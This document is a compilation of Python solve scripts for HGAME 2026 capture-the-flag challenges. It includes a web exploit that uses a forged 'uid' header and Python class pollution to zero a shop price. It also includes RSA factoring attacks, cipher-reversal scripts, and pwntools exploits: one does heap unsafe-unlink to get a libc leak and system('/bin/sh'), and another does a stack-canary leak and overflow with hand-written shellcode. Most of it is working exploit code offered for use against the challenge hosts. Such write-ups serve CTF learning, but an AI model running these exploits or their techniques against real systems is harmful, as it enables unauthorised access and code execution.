import random
import string
import requests

BASE = "http://local-2.hgame.vidar.club:32356"
ADMIN_UID = "1413914"  # admin -> 1 4 13 9 14


def rand_user(prefix="pwn"):
    return prefix + "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6))


def main():
    s = requests.Session()
    username = rand_user()
    password = "123456"

    # 1) register
    r = s.post(f"{BASE}/register", json={"username": username, "password": password}, timeout=10)
    print("[register]", r.status_code, r.text)

    # 2) login
    r = s.post(f"{BASE}/login", json={"username": username, "password": password}, timeout=10)
    print("[login]", r.status_code, r.text)
    data = r.json()
    token = data["token"]

    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
        "uid": ADMIN_UID,  # 越权关键点
    }

    # 3) class pollution: modify global shop item price
    payload = {
        "__init__": {
            "__globals__": {
                "SHOP_ITEMS": {
                    "flag": {"price": 0}
                }
            }
        }
    }
    r = s.post(f"{BASE}/api/update", headers=headers, json=payload, timeout=10)
    print("[update]", r.status_code, r.text)

    # 4) buy flag
    r = s.post(f"{BASE}/api/buy", headers=headers, json={"item": "flag"}, timeout=10)
    print("[buy]", r.status_code, r.text)


if __name__ == "__main__":
    main()

from sage.all import *
from Crypto.Util.number import long_to_bytes

n = 103581608824736882681702548494306557458428217716535853516637603198588994047254920265300207713666564839896694140347335581147943392868972670366375164657970346843271269181099927135708348654216625303445930822821038674590817017773788412711991032701431127674068750986033616138121464799190131518444610260228947206957
leak = 6614588561261434084424582030267010885893931492438594708489233399180372535747474192128
c = 38164947954316044802514640871285562707869793354907165622336840432488893861610651450862702262363481097538127040490478908756416851240578677195459996252755566510786486707340107057971217557295217072867673485369358370289506549932119879791474279677563080377456592139035501163534305008864900509896586230830001710243
e = 65537

k = 230
p0 = Integer(leak) << k

print("[*] gcd(p0, n) =", gcd(p0, n))  # 应该是 1

R.<x> = PolynomialRing(Zmod(n))
f = (p0 + x).monic()
X = 2^k

# 经验上：epsilon 设小一点更容易出根；必要时把 m/t 也扫一下
eps_list = [1/20, 1/40, 1/80, 1/160, 1/320]
mt_list = [(1,1), (2,1), (2,2), (3,1), (3,2), (4,2)]

roots = []
for eps in eps_list:
    for (m, t) in mt_list:
        try:
            rr = f.small_roots(X=X, beta=0.5, epsilon=eps, m=m, t=t)
        except TypeError:
            # 你的 Sage 若不支持显式 m/t，就只传 epsilon
            rr = f.small_roots(X=X, beta=0.5, epsilon=eps)
        if rr:
            roots = rr
            print(f"[+] found roots with eps={eps}, m={m}, t={t}: {rr}")
            break
    if roots:
        break

if not roots:
    print("[-] still no roots -> use solve2 (bruteforce some low bits, guaranteed)")
    quit()

x0 = Integer(roots[0])
p = gcd(Integer(p0 + x0), n)
assert 1 < p < n
q = n // p

phi = (p-1)*(q-1)
d = inverse_mod(e, phi)
m = pow(Integer(c), Integer(d), Integer(n))
print("[+] flag bytes:", long_to_bytes(m))

import string

ct = open("flag.txt", "r", encoding="utf-8").read()
key = "hgame"

def vigenere_decrypt(text, key):
    key_shifts = [string.ascii_lowercase.index(ch) for ch in key.lower() if ch in string.ascii_lowercase]
    out = []
    ki = 0
    for ch in text:
        lo = ch.lower()
        if lo in string.ascii_lowercase:
            shift = key_shifts[ki % len(key_shifts)]
            alpha = string.ascii_lowercase if ch.islower() else string.ascii_uppercase
            idx = alpha.index(ch)
            out.append(alpha[(idx - shift) % 26])
            ki += 1
        else:
            out.append(ch)
    return "".join(out)

pt = vigenere_decrypt(ct, key)
print(pt)

# exp.py
# -*- coding: utf-8 -*-

MASK256 = (1 << 256) - 1

def shash_full(value: str, key: int) -> int:
    length = len(value)
    if length == 0:
        return 0
    x = (ord(value[0]) << 7) & MASK256
    for ch in value:
        x = ((key * x) & MASK256) ^ ord(ch)
    x ^= length & MASK256
    return x & MASK256

def shash_mod(value: str, key: int, bits: int) -> int:
    """仅计算低 bits 位，用于按位提升"""
    mask = (1 << bits) - 1
    length = len(value)
    if length == 0:
        return 0
    x = (ord(value[0]) << 7) & mask
    k = key & mask
    for ch in value:
        x = ((k * x) & mask) ^ ord(ch)
    x ^= length & mask
    return x & mask

def read_data(path="data.txt"):
    with open(path, "r", encoding="utf-8") as f:
        data_line = f.readline().strip()
        n_line = f.readline().strip()
    data = eval(data_line)  # 题目输出格式固定
    n = int(n_line)
    return data, n

def modinv(a, m):
    return pow(a, -1, m)

def solve_linear_mod(A, b, mod):
    """模素数下高斯消元，解 A*x=b"""
    k = len(A)
    M = [row[:] + [b_i] for row, b_i in zip(A, b)]
    for col in range(k):
        pivot = None
        for r in range(col, k):
            if M[r][col] % mod != 0:
                pivot = r
                break
        if pivot is None:
            raise ValueError("singular")
        M[col], M[pivot] = M[pivot], M[col]

        invp = modinv(M[col][col] % mod, mod)
        for c in range(col, k + 1):
            M[col][c] = (M[col][c] * invp) % mod

        for r in range(k):
            if r == col:
                continue
            factor = M[r][col] % mod
            if factor == 0:
                continue
            for c in range(col, k + 1):
                M[r][c] = (M[r][c] - factor * M[col][c]) % mod

    return [M[i][k] % mod for i in range(k)]

def tonelli_shanks(a, p):
    """解 x^2=a (mod p)，p 为奇素数；无解返回 None"""
    a %= p
    if a == 0:
        return 0
    if pow(a, (p - 1) // 2, p) != 1:
        return None
    if p % 4 == 3:
        return pow(a, (p + 1) // 4, p)

    # p-1 = q*2^s，q 奇数
    q = p - 1
    s = 0
    while q % 2 == 0:
        s += 1
        q //= 2

    # 找一个二次非剩余 z
    z = 2
    while pow(z, (p - 1) // 2, p) != p - 1:
        z += 1

    m = s
    c = pow(z, q, p)
    t = pow(a, q, p)
    r = pow(a, (q + 1) // 2, p)

    while t != 1:
        i = 1
        t2i = (t * t) % p
        while t2i != 1:
            t2i = (t2i * t2i) % p
            i += 1
        b = pow(c, 1 << (m - i - 1), p)
        m = i
        c = (b * b) % p
        t = (t * c) % p
        r = (r * b) % p
    return r

def recover_h_candidates_from_flux(x1, x2, x3, x4, n):
    # 由三次更新解出 a,b,c
    A = [
        [pow(x1, 2, n), x1 % n, 1],
        [pow(x2, 2, n), x2 % n, 1],
        [pow(x3, 2, n), x3 % n, 1],
    ]
    bvec = [x2 % n, x3 % n, x4 % n]
    a, b, c = solve_linear_mod(A, bvec, n)

    # 代回第一步，得到 x0=h 的二次方程，求平方根得到两解
    D = (b*b - 4*a*((c - x1) % n)) % n
    sqrtD = tonelli_shanks(D, n)
    if sqrtD is None:
        return []

    inv2a = modinv((2*a) % n, n)
    h1 = ((-b + sqrtD) * inv2a) % n
    h2 = ((-b - sqrtD) * inv2a) % n
    return [h1, h2]

def lift_key(value: str, target_h: int, bits: int = 70):
    """按位提升 key（只保留满足低位 shash 一致的候选）"""
    # t=1 初始化：k 只有 0/1 两种
    cands = [0, 1]
    cands = [k for k in cands if shash_mod(value, k, 1) == (target_h & 1)]
    for t in range(1, bits):
        nxt = []
        for k in cands:
            nxt.append(k)
            nxt.append(k | (1 << t))
        mask = (1 << (t + 1)) - 1
        want = target_h & mask
        cands = [k for k in nxt if shash_mod(value, k, t + 1) == want]
        if not cands:
            return []
    return cands

def main():
    data, n = read_data("data.txt")
    x1, x2, x3, x4 = data

    value = "Welcome to HGAME 2026!"
    magic_word = "I get the key now!"

    hs = recover_h_candidates_from_flux(x1, x2, x3, x4, n)
    for h in hs:
        ks = lift_key(value, h, 70)
        for key in ks:
            if key < (1 << 70) and shash_full(value, key) == h:
                flag_hash = shash_full(magic_word, key)
                flag = "VIDAR{" + hex(flag_hash)[2:] + "}"
                print("key =", key)
                print("flag =", flag)
                return

    print("not found")

if __name__ == "__main__":
    main()

from Crypto.Util.number import *
import string, itertools, bisect, multiprocessing as mp, os, time

# 已知参数
c = 451420045234442273941376910979916645887835448913611695130061067762180161
p = 722243413239346736518453990676052563
q = 777452004761824304315754169245494387
n = p*q
phi = (p-1)*(q-1)
e = 65537

# 解密得到 m_mod
m_mod = pow(c, pow(e, -1, phi), n)

prefix = b'VIDAR{'
suffix = b'}'
allowed_bytes = list((string.digits + string.ascii_letters + '_@').encode())
allowed_table = bytearray(256)
for b in allowed_bytes:
    allowed_table[b] = 1

L = 42          # 实际长度（运行中会找到）
h = 4           # 先枚举前 h 个未知字符
r = 4           # 约束最后 r 个字节

P = bytes_to_long(prefix)
mod = 256**r
inv_n_mod = pow(n, -1, mod)

# 预计算 t 的 residue（满足最后 r 字节）
residues = []
for combo in itertools.product(allowed_bytes, repeat=r-1):
    tail = bytes(combo) + suffix
    x = int.from_bytes(tail, 'big')
    t0 = ((x - (m_mod % mod)) * inv_n_mod) % mod
    residues.append(t0)
residues = sorted(set(residues))

pow_tail = 256**(L-6-h)

# 并行搜索
b1_values = allowed_bytes
cpu = os.cpu_count() or 4
chunks = [b1_values[i::cpu] for i in range(cpu)]

found_flag = mp.Event()
result_queue = mp.Queue()


def worker(b1_list):
    for b1 in b1_list:
        P1 = P*256 + b1
        for b2 in allowed_bytes:
            P2 = P1*256 + b2
            for b3 in allowed_bytes:
                P3 = P2*256 + b3
                base = P3*256
                for b4 in allowed_bytes:
                    if found_flag.is_set():
                        return
                    P4 = base + b4
                    low = P4 * pow_tail
                    high = low + pow_tail - 1

                    a = low - m_mod
                    t_min = (a + n - 1)//n if a >= 0 else -((-a)//n)
                    t_max = (high - m_mod)//n
                    if t_max < t_min:
                        continue

                    length = t_max - t_min + 1
                    t_min_mod = t_min % mod
                    t_max_mod = (t_min_mod + length - 1) % mod

                    if t_min_mod <= t_max_mod:
                        cand = residues[bisect.bisect_left(residues, t_min_mod):
                                        bisect.bisect_right(residues, t_max_mod)]
                    else:
                        cand = residues[bisect.bisect_left(residues, t_min_mod):] + \
                               residues[:bisect.bisect_right(residues, t_max_mod)]

                    for r0 in cand:
                        t = t_min + ((r0 - t_min_mod) % mod)
                        if t > t_max:
                            continue
                        m = m_mod + t*n
                        b = m.to_bytes(L, 'big')
                        if not (b.startswith(prefix) and b.endswith(suffix)):
                            continue
                        mid = b[6:-1]
                        ok = True
                        for ch in mid:
                            if not allowed_table[ch]:
                                ok = False
                                break
                        if ok:
                            result_queue.put(b)
                            found_flag.set()
                            return


if __name__ == '__main__':
    procs = []
    for chunk in chunks:
        p = mp.Process(target=worker, args=(chunk,))
        p.start()
        procs.append(p)

    try:
        while True:
            if not result_queue.empty():
                flag = result_queue.get()
                print(flag.decode())
                break
            if found_flag.is_set() and all(not p.is_alive() for p in procs):
                break
            time.sleep(0.5)
    finally:
        for p in procs:
            p.terminate()
        for p in procs:
            p.join()

encrypted = bytes([(b+256)%256 for b in [
    0,-8,-6,6,31,-39,-104,114,86,-23,-35,28,-122,56,29,-126,-29,94,23,-29,46,-126,-4,45,20,-57
]])
xorKey1 = 102
xorKey2 = 119
aes_key = bytes([(b+256)%256 for b in [
    74,-111,-61,127,46,-75,104,-44,28,-119,58,-14,93,-90,113,-66
]])

rotation_str = "PLANTS_VS_ZOMBIES_2025"
rot_offset = sum(ord(c) for c in rotation_str) % 26  # 20

# substitutionMap: 原始->替换后；解密时用反向表
pairs = [
    (65,81),(66,87),(67,69),(68,82),(69,84),(70,89),(71,85),(72,73),(73,79),(74,80),
    (75,65),(76,83),(77,68),(78,70),(79,71),(80,72),(81,74),(82,75),(83,76),(84,90),
    (85,88),(86,67),(87,86),(88,66),(89,78),(90,77),
    (95,33),(123,91),(125,93)
]
sub_map = {chr(a): chr(b) for a,b in pairs}
rev_map = {v:k for k,v in sub_map.items()}

def lcg_key(seed):
    state = seed & 0xffffffff
    key = []
    for _ in range(16):
        state = (state * 1103515245 + 12345) & 0x7fffffff
        key.append(((state >> 16) % 256) & 0xff)
    return key

def decrypt_with_seed(seed):
    key = lcg_key(seed)
    out = bytearray(len(encrypted))
    for i,b in enumerate(encrypted):
        mask = (i*13 + 7) % 256
        out[i] = b ^ key[i % 16] ^ mask
    return bytes(out)

def rotate_decrypt(s, offset):
    res=[]
    for ch in s:
        o=ord(ch)
        if 65<=o<=90:
            res.append(chr((o-65-offset+26)%26 + 65))
        elif 97<=o<=122:
            res.append(chr((o-97-offset+26)%26 + 97))
        else:
            res.append(ch)
    return "".join(res)

def substitution_decrypt(s):
    return "".join(rev_map.get(ch,ch) for ch in s)

def solve():
    for seed in range(65536):
        b = decrypt_with_seed(seed)
        mid = len(b)//2
        p1 = bytes([x ^ xorKey1 for x in b[:mid]])
        p2 = bytes([x ^ xorKey2 for x in b[mid:]])
        combined = p1 + p2
        out = bytes([combined[i] ^ aes_key[i % len(aes_key)] for i in range(len(combined))])

        s = out.decode("utf-8", errors="replace")
        s = rotate_decrypt(s, rot_offset)
        s = substitution_decrypt(s)

        if len(s)==26 and s.startswith("flag{") and s.endswith("}"):
            return seed, s, s.replace("flag","hgame")
    return None

seed, plain, final = solve()
print(seed, plain, final)

from collections import deque

DIRS = ['w', 'a', 's', 'd']

def state_key(state) -> bytes:
    """
    用于 visited 去重：把一个局面编码成唯一的可哈希值。
    常见做法：把棋盘每格的编号按顺序拼成 bytes/tuple。
    """
    return state.serialize()

def bfs_find_win(start_state, pieces):
    q = deque([start_state])
    sk = state_key(start_state)
    visited = {sk}
    parent = {sk: None}  # k -> (prev_k, piece, dir)

    while q:
        cur = q.popleft()
        ck = state_key(cur)

        # 1) BFS 保证第一次到达 win 就是最短步数
        if is_win(cur):
            return cur, parent

        # 2) 严格按题目顺序生成邻居：
        #    棋子编号从小到大 + 方向 wasd
        for p in sorted(pieces):
            for d in DIRS:
                if can_move(cur, p, d):
                    nxt = move(cur, p, d)
                    nk = state_key(nxt)
                    if nk not in visited:
                        visited.add(nk)
                        parent[nk] = (ck, p, d)
                        q.append(nxt)

    raise RuntimeError("No solution")

def recover_path(win_state, parent):
    """从 parent 回溯出(棋子编号, 方向)序列"""
    path = []
    k = state_key(win_state)
    while parent[k] is not None:
        prev_k, p, d = parent[k]
        path.append((p, d))
        k = prev_k
    path.reverse()
    return path

# ----------------- main -----------------
start_state, pieces = parse_game_bin("game.bin")

win_state, parent = bfs_find_win(start_state, pieces)
path = recover_path(win_state, parent)

# 题目要的不是 path，而是 win_state 对应的 node value
flag = node_value(win_state)

print("steps =", len(path))
print("flag =", flag)

cipher = bytes.fromhex(
    "e336d9c8c9c1608275d91125d5b24b1c"
    "4de66d711caf1cf106a51c267ff65a1a"
)

def ksa(key_bytes: bytes):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key_bytes[i % len(key_bytes)]) & 0xff
        S[i], S[j] = S[j], S[i]
    return S

key = bytearray(b"C0lm_be4ore_7he_st0rm")  # .data
S = ksa(key)

i = 0
j = 0
plain = bytearray()

for c in cipher:
    # SIGSEGV handler: i/j update + swap
    i = (i + 1) & 0xff
    j = (j + S[i] + key[i % len(key)]) & 0xff
    S[i], S[j] = S[j], S[i]

    # SIGTRAP handler: rotate key left by 1
    key = key[1:] + key[:1]

    # SIGFPE handler: generate k and xor
    k = S[(S[i] + S[j]) & 0xff]
    plain.append(c ^ k)

print(plain.decode())

from pathlib import Path
from Crypto.Hash import HMAC, SHA256
from Crypto.Cipher import AES

def ror8(x, n):
    n &= 7
    return ((x >> n) | ((x << (8 - n)) & 0xFF)) & 0xFF

def pkcs7_unpad(data: bytes) -> bytes:
    pad = data[-1]
    if pad == 0 or pad > 16 or data[-pad:] != bytes([pad]) * pad:
        raise ValueError("bad padding")
    return data[:-pad]

# --- 1) 读 blob：nonce + ciphertext ---
blob = Path("Drv_blob.bin").read_bytes()
nonce = blob[:16]
ct    = blob[16:]

# --- 2) 从 GateDriver.sys 提取 32 字节表并解码出 S ---
drv = Path("GateDriver.sys").read_bytes()

# （本题可直接用字节序列定位表；WP 中也可写成“在 .rdata 的 byte_140003250”）
table32 = bytes.fromhex(
    "bfe743bae2bfab5291e64ba4200e2ed3"
    "9179fba4c10a2000f9ef029fee029645"
)
off = drv.find(table32)
assert off != -1
table = drv[off:off+32]

S = bytes([ (ror8(b ^ 0x5C, (1 - 3*i) & 7) ^ 0xA7) for i, b in enumerate(table) ])

# --- 3) KDF：两次 HMAC 得 AES-128 key ---
H1 = HMAC.new(b"\x00"*32, nonce, digestmod=SHA256).digest()
H2 = HMAC.new(H1, S + b"\x01", digestmod=SHA256).digest()
key = H2[:16]

# --- 4) AES-128 ECB 解密并去 padding ---
pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
pt = pkcs7_unpad(pt)

# --- 5) 逆 Client 的按位混淆 ---
out = bytearray()
for i, y in enumerate(pt):
    t = (i*13 + 0xC3) & 0xFF
    s = (i*3  + 1) & 7
    out.append(ror8(y ^ 0x5A, s) ^ t)

print(out.decode())

#!/usr/bin/env python3
from pwn import *

context.binary = ELF('./vuln')
elf = context.binary
context.log_level = 'info'

HOST = 'cloud-middle.hgame.vidar.club'
PORT = 31002


def start():
    if args.REMOTE:
        io = remote(HOST, PORT)
        libc = ELF('./libc.so.6')
    else:
        io = process(['./vuln'])
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    return io, libc


def menu(io, choice):
    io.recvuntil(b'>')
    io.sendline(str(choice).encode())


def add(io, idx, size):
    menu(io, 1)
    io.sendlineafter(b'Index: ', str(idx).encode())
    io.sendlineafter(b'Size: ', str(size).encode())


def delete(io, idx):
    menu(io, 2)
    io.sendlineafter(b'Index: ', str(idx).encode())


def edit(io, idx, data):
    menu(io, 3)
    io.sendlineafter(b'Index: ', str(idx).encode())
    io.sendafter(b'Content: ', data)


def show(io, idx):
    menu(io, 4)
    io.sendlineafter(b'Index: ', str(idx).encode())
    leak = io.recvuntil(b'\n', drop=True)
    return leak


def exploit(io, libc):
    # stage 1: leak PIE from unsorted bin
    add(io, 0, 0x20)
    add(io, 1, 0x20)
    delete(io, 0)
    leak = show(io, 0)
    bin_addr = u64(leak.ljust(8, b'\x00'))
    main_arena_addr = bin_addr + 8  # bin_at(&main_arena,1) = main_arena - 8
    pie_base = main_arena_addr - elf.symbols['main_arena']
    log.info(f'PIE base: {hex(pie_base)}')

    # remove chunk0 from bin to avoid interference
    add(io, 2, 0x20)

    # stage 2: unsafe unlink to overwrite notes[target]
    add(io, 3, 0x38)  # chunk size 0x40
    add(io, 4, 0x20)  # guard so chunk3 is not top
    delete(io, 3)

    notes_addr = pie_base + elf.symbols['notes']
    target_idx = 7
    target = notes_addr + 8 * target_idx
    fd = target - 0x18
    bk = pie_base + elf.got['puts']

    # edit overflows 8 bytes into next chunk's prev_size; keep it consistent (0x40)
    payload = p64(fd) + p64(bk) + b'A' * 0x20 + p64(0x40)
    edit(io, 3, payload)

    # trigger unlink
    add(io, 5, 0x20)

    # stage 3: leak libc via puts@got
    leak2 = show(io, target_idx)
    puts_addr = u64(leak2.ljust(8, b'\x00'))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    log.info(f'libc base: {hex(libc_base)}')
    log.info(f'system: {hex(system_addr)}')

    # stage 4: set hook to system
    menu(io, 6)
    io.sendlineafter(b'hook\n', hex(system_addr).encode())

    # stage 5: trigger system('/bin/sh')
    add(io, 6, 0x20)
    edit(io, 6, b'/bin/sh\x00' + b'B' * (0x20 - 8))
    delete(io, 6)


if __name__ == '__main__':
    io, libc = start()
    exploit(io, libc)

    if args.REMOTE:
        # try to read flag automatically
        io.sendline(b'cat flag')
        io.sendline(b'cat /flag')
        try:
            for _ in range(4):
                line = io.recvline(timeout=2)
                if line:
                    print(line.decode(errors='ignore').rstrip())
        except Exception:
            pass
    io.interactive()

#!/usr/bin/env python3
from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST = "cloud-middle.hgame.vidar.club"
PORT = 30677

# Stage-1 stub (14 bytes): read(0, rsp, 0x80); jmp rsp
STUB = bytes.fromhex(
    "31c0"      # xor eax, eax
    "31ff"      # xor edi, edi
    "54"        # push rsp
    "5e"        # pop rsi
    "31d2"      # xor edx, edx
    "b280"      # mov dl, 0x80
    "0f05"      # syscall
    "ffe4"      # jmp rsp
)

# Stage-2: try open("flag"), if fail open("/flag"), read, write, exit
STAGE2 = bytes.fromhex(
    "4831c0"            # xor rax, rax
    "48c7c3666c6167"    # mov rbx, 0x67616c66 ("flag")
    "53"                # push rbx
    "4889e7"            # mov rdi, rsp
    "4831f6"            # xor rsi, rsi
    "b802000000"        # mov eax, 2 (sys_open)
    "0f05"              # syscall
    "85c0"              # test eax, eax
    "791c"              # jns opened
    "4883c408"          # add rsp, 8
    "48bb2f666c6167000000"  # mov rbx, 0x0067616c662f ("/flag")
    "53"                # push rbx
    "4889e7"            # mov rdi, rsp
    "4831f6"            # xor rsi, rsi
    "b802000000"        # mov eax, 2
    "0f05"              # syscall
    "4889c7"            # mov rdi, rax
    "4889e6"            # mov rsi, rsp
    "ba00010000"        # mov edx, 0x100
    "31c0"              # xor eax, eax
    "0f05"              # syscall
    "4889c2"            # mov rdx, rax
    "48c7c701000000"    # mov rdi, 1
    "b801000000"        # mov eax, 1
    "0f05"              # syscall
    "b83c000000"        # mov eax, 60
    "31ff"              # xor edi, edi
    "0f05"              # syscall
)

CANARY_OFFSET = 0x3ea
RET_OFFSET = 0x402


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    # Avoid PTY to keep IO simple in this environment
    return process("./vuln", stdin=PIPE, stdout=PIPE, stderr=PIPE)


def leak_canary(io: tube) -> int:
    io.recvuntil(b"choose> ")
    io.sendline(b"2")
    io.recvuntil(b"index> ")
    io.sendline(b"-32768")
    line = io.recvline().strip()
    # line format: b": <num>"
    canary = int(line.split(b":")[1].strip())
    return canary


def build_payload(canary: int) -> bytes:
    # stub is placed at rbp-0x8, which equals canary + 0x410
    stub_addr = canary + 0x410
    payload = b"A" * CANARY_OFFSET
    payload += p64(canary)
    payload += STUB
    payload += b"\x90" * (RET_OFFSET - len(payload))
    payload += p64(stub_addr)
    payload += b"B" * (0x410 - len(payload))
    return payload


def exploit(io: tube):
    canary = leak_canary(io)
    log.info("canary: %s", hex(canary))

    payload = build_payload(canary)

    io.recvuntil(b"choose> ")
    io.sendline(b"0")
    io.recvuntil(b"way> ")
    io.send(payload)

    io.recvuntil(b"distance> ")
    io.sendline(b"1")

    io.recvuntil(b"choose> ")
    io.sendline(b"4")

    # Stage-2 will read from stdin and print the flag, then exit
    io.send(STAGE2)

    data = io.recvall(timeout=2)
    return data


if __name__ == "__main__":
    io = start()
    try:
        out = exploit(io)
        if out:
            print(out.decode(errors="ignore"), end="")
    finally:
        io.close()

from PIL import Image
img = Image.open('shiori.png')
print(img.info.get('exif', b'')[:200])